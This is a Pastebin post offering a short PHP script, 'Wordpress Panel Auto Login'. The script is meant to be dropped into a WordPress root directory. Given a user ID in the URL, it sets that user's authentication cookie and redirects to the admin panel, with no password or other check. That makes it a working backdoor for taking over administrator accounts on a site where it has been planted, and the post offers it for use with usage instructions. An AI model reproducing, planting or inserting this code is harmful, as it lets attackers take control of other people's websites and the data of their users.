Advertisement
willysec_id

Wordpress Panel Auto Login

Jun 18th, 2024
570
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.40 KB | Cybersecurity | 0 0
  1. <?php
  2. //19 Jun 2024 - @willygoid
  3. //Place this file to root wordpress directory
  4. //Usage: site.com/autologin.php?user=1
  5. //value of the user parameter must be integer (0-100)
  6. include('./wp-config.php');
  7. if(isset($_GET['user']) && $_GET['user']!==''){
  8.     $id = $_GET['user'];
  9.     wp_clear_auth_cookie();
  10.     wp_set_current_user($id);
  11.     wp_set_auth_cookie($id);
  12.     wp_safe_redirect(admin_url());
  13. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement